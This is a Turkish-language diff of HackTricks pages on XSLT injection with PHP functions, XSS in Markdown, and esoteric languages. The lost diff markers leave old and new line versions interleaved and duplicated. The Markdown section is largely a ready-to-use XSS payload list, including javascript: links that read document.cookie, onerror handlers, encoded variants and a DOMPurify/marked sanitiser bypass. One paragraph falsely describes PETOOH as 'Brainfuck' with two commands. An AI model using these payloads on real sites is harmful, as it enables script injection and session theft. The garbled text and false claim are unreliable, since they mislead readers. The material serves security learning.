Bu yöntem, sunucu tarafında PHP yürütme yeteneği olan hedef sistemlerde kullanılabilir. Ancak, bu yöntem genellikle güvenlik duvarları veya filtreleme mekanizmaları tarafından engellendiği için etkili olmayabilir.
### **php:function**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
@ -526,13 +367,15 @@ xmlns:php="http://php.net/xsl" >
</body>
</html>
```
Execute code using other frameworks in the PDF
### **Daha Fazla Dil**
**Bu sayfada diğer dillerde RCE örnekleri bulabilirsiniz:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
**Bu sayfada diğer dillerde RCE örneklerini bulabilirsiniz:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**
## **Sınıflardan PHP statik fonksiyonlara erişim**
## **Sınıflardan PHP statik fonksiyonlarına erişim**
Aşağıdaki fonksiyon, XSL sınıfının `stringToUrl` adlı statik metodunu çağıracaktır:
Aşağıdaki fonksiyon, XSL sınıfının `stringToUrl` statik metodunu çağıracaktır:
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
@ -547,11 +390,11 @@ version="1.0">
</xsl:template>
</xsl:stylesheet>
```
(Örnek [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls) adresinden alınmıştır)
(Örnek [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls) adresinden)
## Daha Fazla Payload
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) adresine bakın.
* [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) adresine bakın.
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) adresini kontrol edin
* [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection) adresini kontrol edin
## **Brute-Force Tespit Listesi**
@ -563,14 +406,17 @@ version="1.0">
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# Markdown'de XSS
# XSS in Markdown
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
Eğer markdown'e kod enjekte etme şansınız varsa, kod yorumlandığında XSS tetiklemek için kullanabileceğiniz birkaç seçenek vardır.
Markdown'da kod enjekte etme şansınız varsa, kod yorumlandığında XSS tetiklemek için kullanabileceğiniz birkaç seçenek vardır.
### HTML etiketleri
Markdown'de XSS elde etmenin en yaygın yolu, javascript'i çalıştıran yaygın HTML etiketlerini enjekte etmektir, çünkü birçok markdown yorumlayıcısı da HTML'i kabul eder.
Markdown'da XSS elde etmenin en yaygın yolu, javascript'i çalıştıran yaygın HTML etiketlerini enjekte etmektir, çünkü birçok markdown yorumlayıcısı HTML'yi de kabul edecektir.
```html
<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />
```
[Ana XSS sayfasında](./) daha fazla örnek bulabilirsiniz.
Daha fazla örneği [hacktricks'in ana XSS sayfasında](./) bulabilirsiniz.
### Javascript bağlantıları
Eğer HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimiyle oynamayı deneyebilirsiniz:
Eğer HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimi ile oynamayı deneyebilirsiniz:
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
@ -41,21 +44,7 @@ Eğer HTML etiketleri bir seçenek değilse, her zaman markdown sözdizimiyle oy
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
### Img etkinlik sözdizimi kötüye kullanımı
Bir diğer XSS saldırı tekniği, `<img>` etiketinin `onerror` veya `onload` olaylarına kötü amaçlı JavaScript kodu enjekte etmektir. Bu, bir resim yüklenirken veya yüklenemediğinde tetiklenen olaylardır. Saldırgan, bu olayları kullanarak kullanıcının tarayıcısında istediği kodu çalıştırabilir.
Bu saldırıyı gerçekleştirmek için, saldırgan bir `<img>` etiketi oluşturur ve `src` özelliğine hedeflenen web sitesindeki bir resmin URL'sini ekler. Ardından, `onerror` veya `onload` olaylarına JavaScript kodunu ekler. Bu kod, saldırganın istediği işlemleri gerçekleştirebilir, örneğin kullanıcının oturum açmasını sağlayabilir veya kullanıcının tarayıcısında kötü amaçlı bir betik çalıştırabilir.
Örnek:
```html
<img src="https://example.com/image.jpg" onerror="alert('XSS Attack!');" />
```
Bu örnekte, `onerror` olayı tetiklendiğinde `alert('XSS Attack!');` kodu çalıştırılır ve kullanıcıya bir XSS saldırısı olduğunu bildiren bir ileti görüntülenir.
Bu tür saldırılardan korunmak için, giriş doğrulama ve çıktı kodlama gibi güvenlik önlemleri almak önemlidir. Ayrıca, kullanıcı girişlerini güvenli bir şekilde işlemek ve tarayıcı tarafında çalışan betikleri sınırlamak da önemlidir.
### Img olay sözdizimi istismarı
```markdown
![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
@ -64,7 +53,7 @@ Bu tür saldırılardan korunmak için, giriş doğrulama ve çıktı kodlama gi
```
### HTML Sanitiser Markdown Bypass
Aşağıdaki kod, HTML girişini temizliyor ve ardından markdown ayrıştırıcısına geçiriyor, böylece Markdown ve DOMPurify arasındaki yanlış yorumlamaları istismar ederek XSS tetiklenebilir.
Aşağıdaki kod **HTML girdisini temizliyor** ve ardından **markdown ayrıştırıcısına geçiriyor**, bu durumda, XSS, Markdown ve DOMPurify arasındaki yanlış yorumlamalardan faydalanarak tetiklenebilir.
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -76,7 +65,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
```
Örnek payloadlar:
Payloads örneği:
```html
<div id="1
@ -93,14 +82,6 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
`<p x="`<img src=x onerror=alert(1)>"></p>
```
### Fuzzing
Fuzzing, veya diğer adıyla bozma testi, bir uygulamanın hatalarını bulmak için otomatik olarak girişlere rastgele veya özel olarak oluşturulmuş verileri beslemek için kullanılan bir tekniktir. Bu teknik, uygulamanın beklenmedik girişlere nasıl tepki verdiğini test etmek için kullanılır ve potansiyel güvenlik açıklarını ortaya çıkarmak için etkili bir yöntemdir.
Fuzzing, birçok farklı türde gerçekleştirilebilir. Örneğin, basit bir fuzzing saldırısı, uygulamaya rastgele karakterler veya sayılar içeren girişler göndermektir. Bu, uygulamanın beklenmedik girişlere nasıl tepki verdiğini test etmek için kullanılır.
Daha gelişmiş bir fuzzing saldırısı, uygulamanın belirli bir veri yapısını kabul etmesi gerektiği durumlarda kullanılabilir. Örneğin, bir web formu, belirli bir e-posta formatını kabul etmelidir. Fuzzing, bu formun beklenmedik girişlere nasıl tepki verdiğini test etmek için farklı e-posta formatlarını denemek için kullanılabilir.
Fuzzing, bir uygulamanın güvenlik açıklarını bulmak için etkili bir yöntemdir, çünkü uygulamanın beklenmedik girişlere nasıl tepki verdiğini test eder. Bu, potansiyel güvenlik açıklarını ortaya çıkarabilir ve saldırganların uygulamayı kötüye kullanmasını engellemek için bu açıkları düzeltmek için gerekli önlemleri almanıza yardımcı olabilir.
```html
<!--
Fuzzing examples from
@ -125,7 +106,7 @@ Fuzzing examples from
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 stil=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
@ -146,12 +127,13 @@ _http://danlec_@.1 stil=background-image:url(data:image/png;base64,iVBORw0KGgoAA
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. stil=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
[X
[XSS](&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;)
[XSS](j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
@ -175,14 +157,17 @@ _http://danlec_@.1 stil=background-image:url(data:image/png;base64,iVBORw0KGgoAA
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da beni takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# Esoterik Diller
# Esoteric languages
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong> ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)'ya PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
Daha fazla esoterik dil aramak için bu wiki'yi kontrol edin.
Daha fazla esoterik dil aramak için bu wikipediyi kontrol edin.
## Malbolge
```
@ -61,12 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
PETOOH, aynı zamanda "Brainfuck" olarak da bilinen bir esoterik programlama dilidir. Bu dil, sadece iki komut kullanır: "Koş" ve "Koşma". PETOOH, bir dizi nokta ve virgül kullanarak kodlanır ve her bir nokta veya virgül, bir karakterin değerini temsil eder. Bu dildeki komutlar, noktaların veya virgüllerin sayısına bağlı olarak çalışır.
